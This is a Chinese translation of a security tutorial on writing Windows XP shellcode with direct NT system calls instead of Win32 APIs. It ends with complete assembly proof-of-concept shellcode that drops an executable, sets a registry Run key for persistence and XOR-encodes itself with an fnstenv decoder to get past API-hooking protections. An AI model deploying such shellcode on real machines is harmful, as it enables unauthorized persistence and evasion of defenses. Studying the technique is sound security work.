使用windows系统调用编写shellcode

原创翻译]使用windows系统调用编写shellcode

原文作者:Piotr Bania
原文出处:http://securityfocus.com/infocus/1844/1
翻译作者:无敌最寂寞
本文来源:邪恶八进制信息安全团队

使用windows系统调用编写shellcode

简介

写此文的用意,是想让大家知道在windows系统下我们完全可以写出不依赖于标准API调用的shellcode。当然,对于每一种编写思路,都有它的优缺点。在本文中,我将会带领大家学习一下这种shellcode并介绍一些实际的例子。在阅读本文前,我假设你已经懂得一些IA-32下的汇编知识。
本文涉及的shellcode都在windows XP SP1下测试通过,大家也许注意到了我们的shellcode是要依赖于操作系统及其打的SP补丁的,随着文章的深入我们会进一步讨论的。

背景知识

基于NT内核的windows操作系统(NT/2000/XP/2003或更高版本)支持很多的子系统,每个子系统都包含各自的环境。例如,WIN32子系统就是一例(处理普通windows应用程序),再一个就是支持unix或者OS/2的POSIX子系统。那么这意味着什么呢?意味着NT系统可以运行OS/2(当然是
些能够正确运行的系统附件)并支持其大部分系统特性。那么NT系统是如何来支持这些子系统的呢?微软在每个子系统中封装了统一的一组API。简言之,所有的子系统都依靠一些必须的库来工作。比如win32应用程序调用的是win32子系统API,而这些API实际上调用的是NT API(native API等)。本地API不依赖于任何子系统。

从本地API调用到系统调用

那么我们是否真正能写出一个不需要标准API调用的shellcode呢?对于某些API是可以的,而又有一些是不可以的,有些API并不需要调用本地API就可以完成它们的工作等等。通过阅读下面的代码我们可以得到证实(以下为从KERNEL32.DLL中导出的GetCommandLineA API):


.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358           mov eax, dword_77ED7614
.text:77E7E35D           retn
.text:77E7E35D GetCommandLineA endp


此API并没有使用任何调用。它做的唯一一件事就是返回了指向命令行参数的一个指针。我们来讨论一个符合我们理论的例子,下面一部分是TerminateProcess API函数的反汇编代码:


.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near       ; CODE XREF: ExitProcess+12 j
.text:77E616B8                         ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess     =     dword ptr 4
.text:77E616B8 uExitCode     =     dword ptr 8
.text:77E616B8
.text:77E616B8             cmp [esp+hProcess], 0
.text:77E616BD             jz short loc_77E616D7
.text:77E616BF             push [esp+uExitCode]     ; 1st param: Exit code
.text:77E616C3             push [esp+4+hProcess]     ; 2nd param: Handle of process
.text:77E616C7             call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess


就像你看到的那样,TerminateProcess函数只是简单地将参数压栈后接着调用NTDLL.DLL中的NtTerminateProcess函数。NTDLL.DLL中的函数就是本地API。换句话说,以‘NT’开头的函数就是本地API(有的是以‘ZW’开头的,看一下NTDLL的导出函数便知)。接着看一下NTTerminateProcess函数吧:


.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near     ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448                       ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h               ; 系统调用号: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h           ; EDX = 7FFE0300h
.text:77F5C452 call edx                 ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp


该native API事实上仅仅将系统调用号放入eax,然后调用7FFE0300h处的代码:


7FFE0300     8BD4   MOV EDX,ESP
7FFE0302     0F34   SYSENTER
7FFE0304     C3     RETN



上面的代码向我们展示了整个调用过程:EDX是用户堆栈指针,EAX是将要执行的系统调用。SYSENTER指令执行了一个到ring 0级系统程序的快速调用,这个系统程序用来完成剩余的工作。

操作系统间的区别

在windows2000(其它除了XP以及XP更高版本外的基于NT内核的系统)中,不使用SYSENTER指令。但在windows XP中使用SYSENTER指令替换了“int 2eh”。下面展示了windows 2000中系统调用的实现:



    MOV   EAX, SyscallNumber           ; 被请求的系统调用号
    LEA   EDX, [ESP+4]               ; EDX = 参数
    INT   2Eh                     ; 调用内核处理程序
    RET   4*NUMBER_OF_PARAMS           ; 返回


我们已经知道了windows xp的处理方法,下面这个就是我在我的shellcode中是如何使用的:



  push   fn                     ; 将系统调用号压栈
  pop   eax                     ; EAX = 系统调用号
  push   eax                     ; 这没什么影响
  call   b                     ; 下一条指令压入堆栈
b:   add   [esp],(offset r - offset b)     ; 标准化堆栈
  mov   edx, esp                 ; EDX = 当前堆栈
  db   0fh, 34h                 ; SYSENTER 指令
r:   add   esp, (param*4)             ; 标准化堆栈



SYSENTER指令似乎是在Intel Pentium II处理器中第一次引入。SYENTER指令并不被Athlon处理器支持。确定一个特定的处理器是否支持SYSENTER指令,我们可以使用CPUID指令协同SEP标志以及CPU特定的family/model/stepping属性检测。(译者注:CPUID几乎是所有x86 CPU内置的指令,用它可以获得CPU的一些信息。关于此命令的详细用法,大家可以从google中搜索到。此处我们可以使用CPUID指令来检测CPU是否支持SYSENTER指令)。以下是intel处理器如何进行检测的:


IF (CPUID SEP bit is set)
  THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
    THEN
      SYSENTER/SYSEXIT_NOT_SUPPORTED
    FI;
  ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;


当然,在各个windows操作系统之间这并不是唯一的区别,比如系统调用号在各个windows操作系统版本之间就不同,如下表所示:


Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT SP 3   0x3         0x5             0x7
SP 4           0x3         0x5             0x7
SP 5           0x3         0x5             0x7
SP 6           0x3         0x5             0x7
Windows 2000 SP 0 0x8         0xa             0xc
SP 1           0x8         0xa             0xc
SP 2           0x8         0xa             0xc
SP 3           0x8         0xa             0xc
SP 4           0x8         0xa             0xc
Windows XP SP 0   0x8         0xb             0xd
SP 1           0x8         0xb             0xd
SP 2           0x8         0xb             0xd
Win2003 Server SP0 0x8         0xc             0xe
SP 1           0x8         0xc             0xe



我们可以在网上搜索到这些系统调用表,也可以在本文后面的参考资料里找到。


使用系统调用编写shellcode的t优点

下面是使用系统调用方法来编写shellcode的优点:

1、使用此方法编写的shellcode不再需要使用API,这是因为我们不再需要定位API的地址了(像内核地址的查找、导入节或者导出节的解析等等,都不需要了)。因此可以利用此方法绕过运行在ring 3上的“防止缓冲区溢出系统”。此类的保护机制通常并不是阻止了缓冲区溢出攻击,而是HOOK了一些经常使用的API然后检测调用该API的地址,以此来阻止shellcode的执行。但是如果是使用此方法编写的shellcode,这类保护就失效了。(译着注:“防止缓冲区溢出系统”,原文是"buffer overflow prevention systems"。就像上文说的那样,并不是真正的阻止了缓冲区溢出。所以我觉得翻译成“缓冲区溢出抑制系统”更为确切些。)

2、由于你是直接向内核提交请求而跳过了win32子系统的所有指令,那么shellcode的执行速度肯定是非常快的。(当然,现在的CPU速度都是那么快,谁又会在乎这点速度呢)

使用系统调用编写shellcode的缺点

下面是使用系统调用编写shellcode的一些缺点:

1、shellcode的体积,这是用这种方法编写shellcode的最大的缺点。因为我们不使用windows子系统封装的一些功能,那么我们就需要自己来编写这些功能代码。因此shellcode体积就会激增。
2、兼容性----正如前面所说的,“int 2eh”和“sysenter”指令在不同系统的版本中的实现是不同的。而且系统调用号在每个版本的系统中也是不同的。

编写系统调用版shellcode

在本文的最后是一个使用此方法写出的shellcode,主要功能是释放一个文件然后写入注册表一个启动键值。在系统重起后,再通过注册表的启动键值执行释放出的文件。也许你们会问我为什么不直接执行这个文件,而是要等到下次重启后再通过注册表启动。通过系统调用来执行win32程序并不是那么容易的,不要认为我们可以调用NtCreateProcess来完成这项工作。让我们来看看CreateProcess API在执行一个程序前需要做哪些事情:

1、在进程中打开.exe映像文件。
2、创建windows进程对象。
3、创建初始化线程(堆栈、上下文以及windows线程对象)。
4、将新进程通知到win32 子系统,以便win32子系统可以创建新的进程和线程。
5、开始执行初始化线程(除非指定了CREATE_SUSPENDED属性)。
6、在新创建的进程和线程的上下文中,完成地址空间的初始化(包括加载所需dll)然后开始执行程序。

因此,使用注册表启动的方法相对来说是比较容易的和快速的。下面的shellcode执行后会产生出一个MessageBox例程(如此要涉及到PE结构,所以shellcode的体积就比较大了)。不管怎么说,这只是个例子演示而已。实际运用中我们可以用本地shell以及下载执行或者命令执行等任

何功能来代替,下面我们来实际看下代码吧:


The shellcode - Proof Of Concept
comment $
        -----------------------------------------------
        WinNT (XP) Syscall Shellcode - Proof Of Concept
        -----------------------------------------------
        Written by: Piotr Bania
                http://pb.specialised.info
$
include       my_macro.inc
include       io.inc
; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.
FILE_PATH               equ   "/??/C:/b.exe",0       ; 产生的文件的存放路径
SHELLCODE_DROP             equ   "D:/asm/shellcodeXXX.dat" ; shellcode文件存放路径
                                            ; shellcode
REG_PATH                 equ   "/Registry/Machine/Software/Microsoft/Windows/CurrentVersion/Run",0
; ------------------------------------------------------------------------------------
KEY_ALL_ACCESS             equ   0000f003fh       ; const value
_S_NtCreateFile           equ   000000025h       ; windows xp sp1
_S_NtWriteFile             equ   000000112h       ; 下的系统调用号
_S_NtClose               equ   000000019h
_S_NtCreateSection         equ   000000032h
_S_NtCreateKey             equ   000000029h
_S_NtSetValueKey           equ   0000000f7h
_S_NtTerminateThread         equ   000000102h
_S_NtTerminateProcess       equ   000000101h               
@syscall                 macro fn, param         ; windows XP的系统调用
                    local b, r             ; 实现
                    push fn
                    pop eax
                    push eax ; makes no diff
                    call b
                  b: add [esp],(offset r - offset b)
                    mov edx, esp
                    db 0fh, 34h
                  r: add esp, (param*4)
                    endm
path                   struc               ; 有用的结构
                    p_path dw MAX_PATH dup (?) ;从C头文件中转换而来的
path                   ends
object_attributes           struc
                    oa_length           dd     ?
                    oa_rootdir         dd     ?
                    oa_objectname       dd     ?
                    oa_attribz         dd     ?
                    oa_secdesc         dd     ?
                    oa_secqos           dd     ?
object_attributes           ends
pio_status_block           struc
                    psb_ntstatus         dd     ?
                    psb_info           dd     ?
pio_status_block           ends
unicode_string struc
                    us_length           dw     ?
                                    dw     ?
                    us_pstring         dd     ?
unicode_string ends
    call crypt_and_dump_sh                     ; xor and dump shellcode
sc_start           proc
    local   u_string             :unicode_string   ; local variables
    local   fpath               :path         ; (stack based)
    local   rpath               :path
    local   obj_a               bject_attributes
    local   iob                 :pio_status_block
    local   fHandle             WORD
    local   rHandle             WORD
    sub   ebp,500                         ; allocate space on stack堆栈中分配空间
    push   FILE_PATH_ULEN                     ; unicode字符串
    pop   [u_string.us_length]                 ; 长度
    push   255                             ; set up unicode字符穿最大
    pop   [u_string.us_length+2]               ; 长度
    lea   edi,[fpath]                       ; EDI = 指向fpath
    push   edi                             ; 路径
    pop   [u_string.us_pstring]                 ; set up the unciode entry
    call   a_p1                           ; put file path address
a_s:   db                     FILE_PATH         ; on stack
    FILE_PATH_LEN             equ   $ - offset a_s
    FILE_PATH_ULEN             equ   18h
a_p1:   pop   esi                             ; ESI = ptr to file path
    push   FILE_PATH_LEN                     ; (ascii one)
    pop   ecx                             ; ECX = FILE_PATH_LEN
    xor   eax,eax                         ; EAX = 0
a_lo:   lodsb                                 ; begin ascii to unicode
    stosw                                 ; conversion do not forget
    loop   a_lo                           ; to do sample align
    lea   edi,[obj_a]                       ; EDI = object attributes st.
    lea   ebx,[u_string]                     ; EBX = unicode string st.
    push   18h                             ; sizeof(object attribs)
    pop   [edi.oa_length]                     ; store
    push   ebx                             ; store the object name
    pop   [edi.oa_objectname]
    push   eax                             ; rootdir = NULL
    pop   [edi.oa_rootdir]
    push   eax                             ; secdesc = NULL
    pop   [edi.oa_secdesc]
    push   eax                             ; secqos = NULL
    pop   [edi.oa_secqos]
    push   40h                             ; attributes value = 40h
    pop   [edi.oa_attribz]
    lea   ecx,[iob]                         ; ECX = io status block
    push   eax                             ; ealength = null
    push   eax                             ; eabuffer = null
    push   60h                             ; create options
    push   05h                             ; create disposition
    push   eax                             ; share access = NULL
    push   80h                             ; file attributes
    push   eax                             ; allocation size = NULL
    push   ecx                             ; io status block     
    push   edi                             ; object attributes
    push   0C0100080h                       ; desired access
    lea   esi,[fHandle]
    push   esi                             ; (out) file handle
    @syscall _S_NtCreateFile, 11                 ; execute syscall
    lea   ecx,[iob]                         ; ecx = io status block
    push   eax                             ; key = null
    push   eax                             ; byte offset = null
    push   main_exploit_s                     ; length of data
    call   a3                             ; ptr to dropper body
s1:                         include msgbin.inc   ; dopper data
main_exploit_s                 equ   $ - offset s1
a3:   push   ecx                             ; io status block
    push   eax                             ; apc context = null
    push   eax                             ; apc routine = null
    push   eax                             ; event = null
    push   dword ptr [esi]                     ; file handle
    @syscall _S_NtWriteFile, 9                   ; execute the syscall
    mov   edx,edi                         ; edx = object attributes
    lea   edi,[rpath]                       ; edi = registry path
    push   edi                             ; store the pointer
    pop   [u_string.us_pstring]                 ; into unicode struct
    push   REG_PATH_ULEN                     ; store new path len
    pop   [u_string.us_length]
    call   a_p2                           ; store the ascii reg path
a_s1:   db                     REG_PATH         ; pointer on stack
    REG_PATH_LEN             equ   $ - offset a_s1
    REG_PATH_ULEN             equ   7eh
a_p2:   pop   esi                             ; esi ptr to ascii reg path
    push   REG_PATH_LEN
    pop   ecx                             ; ECX = REG_PATH_LEN
a_lo1: lodsb                                 ; little ascii 2 unicode
    stosw                                 ; conversion
    loop a_lo1
    push   eax                             ; disposition = null
    push   eax                             ; create options = null
    push   eax                             ; class = null
    push   eax                             ; title index = null
    push   edx                             ; object attributes struct
    push   KEY_ALL_ACCESS                     ; desired access
    lea   esi,[rHandle]
    push   esi                             ; (out) handle
    @syscall _S_NtCreateKey,6
    lea   ebx,[fpath]                       ; EBX = file path
    lea   ecx,[fHandle]                     ; ECX = file handle
    push   eax                           
    pop   [ecx]                           ; nullify file handle
    push   FILE_PATH_ULEN - 8                   ; push the unicode len
                                        ; without 8 (no '/??/')
    push   ebx                             ; file path
    add   [esp],8                         ; without '/??'
    push   REG_SZ                           ; type
    push   eax                             ; title index = NULL
    push   ecx                             ; value name = NULL = default
    push   dword ptr [esi]                     ; key handle
    @syscall _S_NtSetValueKey,6                 ; set they key value
    dec   eax
    push   eax                             ; exit status code
    push   eax                             ; process handle
                                        ; -1 current process
    @syscall _S_NtTerminateProcess,2               ; maybe you want
                                        ; TerminateThread instead?
ssc_size                     equ $ -offset sc_start
sc_start           endp
exit:
    push 0
    @callx ExitProcess
crypt_and_dump_sh:                             ; this gonna' xor
                                        ; the shellcode and
    mov   edi,(offset sc_start - 1)             ; add the decryptor
    mov   ecx,ssc_size                       ; finally shellcode file
                                        ; will be dumped
xor_loop:
    inc   edi
    xor   byte ptr [edi],96h
    loop   xor_loop
    _fcreat SHELLCODE_DROP,ebx                   ; some of my old crazy
    _fwrite ebx,sh_decryptor,sh_dec_size           ; io macros
    _fwrite ebx,sc_start,ssc_size
    _fclose ebx
    jmp exit
sh_decryptor:                                 ; that's how the decryptor
    xor ecx,ecx                             ; looks like
    mov cx,ssc_size
    fldz
sh_add: fnstenv [esp-12]                         ; fnstenv decoder
    pop edi
    add edi,sh_dec_add
sh_dec_loop:
    inc edi
    xor byte ptr [edi],96h
    loop sh_dec_loop
sh_dec_add                     equ ($ - offset sh_add) + 1
sh_dec_size                   equ $ - offset sh_decryptor
end start


写在最后的话

希望大家能喜欢这篇文章,同样的本文的目的只是为了向大家讲述一种方法。任何利用本技术去做违法的事,与作者无关。

参考资料:
"Inside the Native API"
Interactive Win32 syscall page

你可能感兴趣的:(windows系统管理和安全)